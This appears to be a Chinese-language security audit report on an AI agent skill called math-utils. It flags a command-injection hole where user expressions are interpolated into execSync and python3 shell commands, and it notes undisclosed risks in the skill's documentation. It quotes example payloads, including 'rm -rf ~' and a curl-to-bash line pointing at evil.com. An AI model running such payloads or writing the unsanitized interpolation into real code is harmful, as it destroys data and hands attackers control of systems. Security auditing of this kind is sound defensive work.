math-utils (Native CLI Edition)
技能声明为纯数学计算工具,但核心代码存在未缓解的命令注入风险:用户输入直接字符串插值到 execSync 的 shell 命令中,skill-card.md 自身已识别此风险但代码未实施任何缓解措施。
为什么得出这个结论
2/4 个维度触发发现 1 项声明之外的能力或越权行为。
提取到 2 个一般风险产物,需要结合上下文判断。
报告包含 3 步攻击链,另有 2 项高危或严重发现。
依赖结构存在,但暂未看到明显高危告警。
攻击链
初始入口 · main.js:10
权限提升 · main.js:19
最终危害 · main.js:19
风险分是怎么被拉高的
expression 直接插值到 execSync shell 命令中,skill-card.md 已识别但代码无任何过滤或验证
SKILL.md 声称'确保100%准确性'但未声明命令执行机制和风险;skill-card.md 的风险描述未体现在 SKILL.md 主体
calculate 函数对 expression 参数零校验,无白名单、无长度限制、无字符过滤
最关键的证据
命令注入:用户输入直接插值到 shell 命令
main.js 的 calculate() 函数将 expression 参数直接字符串插值到 execSync 的 shell 命令中,未经过任何转义或白名单验证。攻击者可通过构造恶意表达式(如 '1; rm -rf ~' 或 '1 && curl evil.com | bash')执行任意系统命令。
main.js:19 命令注入:python3 路径同样存在注入风险
第23行的 python3 备选路径同样将 expression 直接插值到 python3 -c 命令中,注入风险相同。
main.js:23 风险声明不完整:SKILL.md 与 skill-card.md 脱节
SKILL.md 声称'确保100%准确性'并描述实现逻辑,但完全未提及命令执行的固有风险。skill-card.md 的 'Known Risks and Mitigations' 部分明确识别了命令注入风险,但该内容未出现在 SKILL.md 主体文档中,可能导致用户仅阅读 SKILL.md 时忽视安全风险。
SKILL.md:1 无依赖版本锁定
无 package.json 文件,main.js 仅依赖 Node.js 内置模块(child_process, os),但项目结构不完整,缺少 package.json/license 文件,无法验证依赖来源和完整性。
_meta.json:1 声明能力 vs 实际能力
代码未访问文件系统 代码未发起网络请求 main.js:19,23,27 直接将 expression 插值到 execSync 命令字符串中,存在命令注入风险,SKILL.md 未声明此风险 代码仅用 os.platform(),未遍历环境变量 无剪贴板操作 无浏览器操作 无数据库操作 无跨技能调用 可疑产物与外联
https://clawhub.ai/user/johnnyhou327 skill-card.md:7
https://clawhub.ai/johnnyhou327/math-utils-native skill-card.md:27
依赖与供应链
| 包名 | 版本 | 来源 | 漏洞 | 备注 |
|---|---|---|---|---|
| child_process (内置) | 内置 | Node.js stdlib | 否 | 无外部依赖,但 child_process.execSync 正是命令注入的媒介 |
文件构成
skill-card.md main.js SKILL.md _meta.json